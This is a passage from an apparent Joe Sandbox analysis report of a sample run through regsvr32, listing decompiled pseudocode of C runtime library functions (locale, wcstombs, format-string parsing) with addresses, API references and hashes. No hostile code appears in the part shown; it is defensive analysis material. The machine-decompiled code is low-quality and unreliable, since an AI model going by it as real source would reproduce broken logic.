				if ( *((intOrPtr*)(_t122 + 4 + _v88 * 8)) == 0) goto 0xf9d350c9;
				_t93 = E000007FE7FEF9D2E680(_t92, _t122);
				_v32 = _t122;
				E000007FE7FEF9D2E680(_t93, _t122);
				_t125 = _v32 +  *((intOrPtr*)(_t122 +  *((intOrPtr*)(_a24 + 8)) + 4 + _v88 * 8));
				_v24 = _t125;
				goto 0xf9d350d2;
				_v24 = 0;
				r8d = 0x103;
				E000007FE7FEF9D2E6C0(E000007FE7FEF9D3D7E0(_v24, _a8, _t164), _t125, _v80);
				goto 0xf9d350f6;
				_v88 = _v72;
				goto 0xf9d34f83;
				0xf9d24000();
				if ( *((intOrPtr*)(_t125 + 0x100)) <= 0) goto 0xf9d35131;
				0xf9d24000();
				_v16 = _t125 + 0x100;
				 *_v16 =  *_v16 - 1;
				if (_v88 == 0xffffffff) goto 0xf9d3514a;
				if (_v88 - _a32 <= 0) goto 0xf9d3514a;
				_t101 = E000007FE7FEF9D2CF80(_v16);
				r9d = _v88;
				return E000007FE7FEF9D33BD0(_t101, _a8, _a16, _a24);
			}

0x7fef9d34f20
0x7fef9d34f20
0x7fef9d34f25
0x7fef9d34f2a
0x7fef9d34f2f
0x7fef9d34f55
0x7fef9d34f59
0x7fef9d34f5e
0x7fef9d34f63
0x7fef9d34f6e
0x7fef9d34f81
0x7fef9d34f88
0x7fef9d34f99
0x7fef9d34fa4
0x7fef9d34fa6
0x7fef9d34fb5
0x7fef9d34fb7
0x7fef9d34fbe
0x7fef9d34fcf
0x7fef9d34fda
0x7fef9d34fde
0x7fef9d34fef
0x7fef9d34ffc
0x7fef9d34ffe
0x7fef9d35003
0x7fef9d35008
0x7fef9d3502e
0x7fef9d35031
0x7fef9d35036
0x7fef9d35038
0x7fef9d35047
0x7fef9d3504d
0x7fef9d3506f
0x7fef9d35080
0x7fef9d3508d
0x7fef9d3508f
0x7fef9d35094
0x7fef9d35099
0x7fef9d350bf
0x7fef9d350c2
0x7fef9d350c7
0x7fef9d350c9
0x7fef9d350d2
0x7fef9d350ef
0x7fef9d350f4
0x7fef9d350fa
0x7fef9d350fe
0x7fef9d35103
0x7fef9d3510f
0x7fef9d35111
0x7fef9d3511c
0x7fef9d3512f
0x7fef9d35136
0x7fef9d35143
0x7fef9d35145
0x7fef9d3514a
0x7fef9d35170

APIs

__GetCurrentState.LIBCMTD ref: 000007FEF9D34F50

Part of subcall function 000007FEF9D33B70: __StateFromControlPc.LIBCMTD ref: 000007FEF9D33BA4

_inconsistency.LIBCMTD ref: 000007FEF9D34FB9
__SetState.LIBCMTD ref: 000007FEF9D3506A
_SetImageBase.LIBCMTD ref: 000007FEF9D350EF
_inconsistency.LIBCMTD ref: 000007FEF9D35145
__SetState.LIBCMTD ref: 000007FEF9D35167

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: State$_inconsistency$BaseControlCurrentFromImage
String ID:
API String ID: 2452617236-0
Opcode ID: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction ID: 79c6626e7a9320abdad6ed0e53fbdedc274fcc22452831ee93149e628ab3cd95
Opcode Fuzzy Hash: 03736bbfa20cfa1d6e80738f38b28c8345d2a0856ef117f7f635166efef2818c
Instruction Fuzzy Hash: EC61F132A0DA8586DAB0DB55E45177EB3A0F7C4789F214625E6CD83B6ACB3ED441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29F20 Relevance: 9.0, APIs: 6, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 27%

			E000007FE7FEF9D29F20(intOrPtr __ecx, intOrPtr* __rax, intOrPtr _a8) {
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				char _v64;
				long long _v72;
				intOrPtr _t29;
				intOrPtr* _t41;

				_t41 = __rax;
				_a8 = __ecx;
				_v16 = 0xfffffffe;
				_v72 = 0;
				0xf9d266b0();
				 *0xf9d4cd68 = 0;
				if (_a8 != 0xfffffffe) goto 0xf9d29f81;
				 *0xf9d4cd68 = 1;
				_v32 = GetOEMCP();
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffd) goto 0xf9d29fae;
				 *0xf9d4cd68 = 1;
				_v28 = GetACP();
				E000007FE7FEF9D26800( &_v64);
				_t29 = _v28;
				goto 0xf9d29fe3;
				if (_a8 != 0xfffffffc) goto 0xf9d29fe3;
				 *0xf9d4cd68 = 1;
				E000007FE7FEF9D26840(_t29,  &_v64);
				_v24 =  *((intOrPtr*)( *_t41 + 4));
				E000007FE7FEF9D26800( &_v64);
				goto 0xf9d29ff9;
				_v20 = _a8;
				E000007FE7FEF9D26800( &_v64);
				return _v20;
			}

0x7fef9d29f20
0x7fef9d29f20
0x7fef9d29f28
0x7fef9d29f31
0x7fef9d29f44
0x7fef9d29f4a
0x7fef9d29f59
0x7fef9d29f5b
0x7fef9d29f6b
0x7fef9d29f74
0x7fef9d29f7f
0x7fef9d29f86
0x7fef9d29f88
0x7fef9d29f98
0x7fef9d29fa1
0x7fef9d29fa6
0x7fef9d29fac
0x7fef9d29fb3
0x7fef9d29fb5
0x7fef9d29fc4
0x7fef9d29fcf
0x7fef9d29fd8
0x7fef9d29fe1
0x7fef9d29fe7
0x7fef9d29ff0
0x7fef9d29ffd

APIs

GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74
GetACP.KERNEL32 ref: 000007FEF9D29F92
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29FA1

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction ID: 704f50b174c78f8dad9e9ad97ccd9f8c7b4629f2dc49822da5bcfb1c8acb2663
Opcode Fuzzy Hash: 69024ba52bd34e7b32b0e788ec4f64afe9409c237456bc3d803b93947163d83b
Instruction Fuzzy Hash: 2E21A732D0C64186E7A09B28E84436EBBA0E784768F614226E3DD426F9DB7ED545CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3809F Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3829E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3824F, 000007FEF9D38289
sizeInBytes > retsize, xrefs: 000007FEF9D3823A, 000007FEF9D38297
P, xrefs: 000007FEF9D382B7
_wcstombs_s_l, xrefs: 000007FEF9D38290

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2123368286-552404435
Opcode ID: 2c731414488d35c21f2780f328146d5dcf70469cadf2ee42e60feab36cc6bb66
Instruction ID: b798cd5c2606ce723a50a96b999359d63c775ee68ba37fd19eb3efa8b303dc8f
Opcode Fuzzy Hash: 2c731414488d35c21f2780f328146d5dcf70469cadf2ee42e60feab36cc6bb66
Instruction Fuzzy Hash: C2511936A0DBC586E6B48B19E84476EB3E0F386761F204225D6ED43BE8DF7ED4458B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BCBD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3BCBD(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a968, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a968 = _a696 & 0x000000ff;
				if (_a968 == 0x20) goto 0xf9d3bd57;
				if (_a968 == 0x23) goto 0xf9d3bd64;
				if (_a968 == 0x2b) goto 0xf9d3bd4a;
				if (_a968 == 0x2d) goto 0xf9d3bd3d;
				if (_a968 == 0x30) goto 0xf9d3bd72;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3bd7d;
				asm("bts eax, 0x7");
				goto 0xf9d3bd7d;
				_a80 = _a80 | 0x00000008;
				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t204 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t205 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t184 + _t205 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bcbd
0x7fef9d3bcc9
0x7fef9d3bcd1
0x7fef9d3bcd9
0x7fef9d3bcdd
0x7fef9d3bce5
0x7fef9d3bced
0x7fef9d3bd02
0x7fef9d3bd11
0x7fef9d3bd1b
0x7fef9d3bd25
0x7fef9d3bd2f
0x7fef9d3bd39
0x7fef9d3bd3b
0x7fef9d3bd44
0x7fef9d3bd48
0x7fef9d3bd51
0x7fef9d3bd55
0x7fef9d3bd5e
0x7fef9d3bd62
0x7fef9d3bd68
0x7fef9d3bd70
0x7fef9d3bd79
0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
_invalid_parameter.LIBCMTD ref: 000007FEF9D3CD3E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD53
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3CD74

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-192189897
Opcode ID: 6e7b2e4602a67de0d8444751781932987c77aea524c4ee0e513499fa92d069a1
Instruction ID: aadf3acbccf6ff41cc1b37cb3268d324d4900ab85ae7fa80aabce8c8f65e01df
Opcode Fuzzy Hash: 6e7b2e4602a67de0d8444751781932987c77aea524c4ee0e513499fa92d069a1
Instruction Fuzzy Hash: 13414C72A0D6C28AE3B0DB24E8547BEB7E4E385345F600126D6D987AA9DB7DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC6B Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC6B(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t184;
				char* _t204;
				char* _t205;

				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t204 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t204);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t184 + _t204 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t205 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t205);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t184 + _t205 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
_woutput_s_l, xrefs: 000007FEF9D3DBD6

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-734865713
Opcode ID: f70cefb569721d9d21904d9e7ba8b3a65f1b1d02a652e36c9b8a6a51e541d649
Instruction ID: e7137eedf57618a3e563147601a49a8da4cfcefd457897bce2b88a2abc432a47
Opcode Fuzzy Hash: f70cefb569721d9d21904d9e7ba8b3a65f1b1d02a652e36c9b8a6a51e541d649
Instruction Fuzzy Hash: 7E411CB2A0C6C18AE7B0CB64E8447BEB7E0F384349F600125E6D987AA9D77DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DC41 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E000007FE7FEF9D3DC41(intOrPtr _a76, signed int _a80, signed int _a88, signed int _a92, signed int _a108, signed int _a112, intOrPtr _a116, char _a1200, signed int _a1208, intOrPtr _a1216, signed int _a1404, signed int _a1408, signed int _a1412, intOrPtr _a1536, signed short* _a1544, char _a1560) {
				void* _t190;
				char* _t210;
				char* _t211;

				_a76 = 1;
				E000007FE7FEF9D3EE40(_a1208 & 0x0000ffff, _a1536,  &_a1200);
				_a112 = 0;
				_a108 = _a112;
				_a88 = _a108;
				_a92 = _a88;
				_a80 = 0;
				_a116 = 0xffffffff;
				_a76 = 0;
				_a1404 = _a1208 & 0x0000ffff;
				if (_a1404 == 0x20) goto 0xf9d3dd05;
				if (_a1404 == 0x23) goto 0xf9d3dd12;
				if (_a1404 == 0x2b) goto 0xf9d3dcf8;
				if (_a1404 == 0x2d) goto 0xf9d3dceb;
				if (_a1404 == 0x30) goto 0xf9d3dd20;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000004;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000001;
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000002;
				goto 0xf9d3dd2b;
				asm("bts eax, 0x7");
				goto 0xf9d3dd2b;
				_a80 = _a80 | 0x00000008;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t210 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t210);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t190 + _t210 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t211 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t211);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t190 + _t211 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dc41
0x7fef9d3dc61
0x7fef9d3dc6b
0x7fef9d3dc77
0x7fef9d3dc7f
0x7fef9d3dc87
0x7fef9d3dc8b
0x7fef9d3dc93
0x7fef9d3dc9b
0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
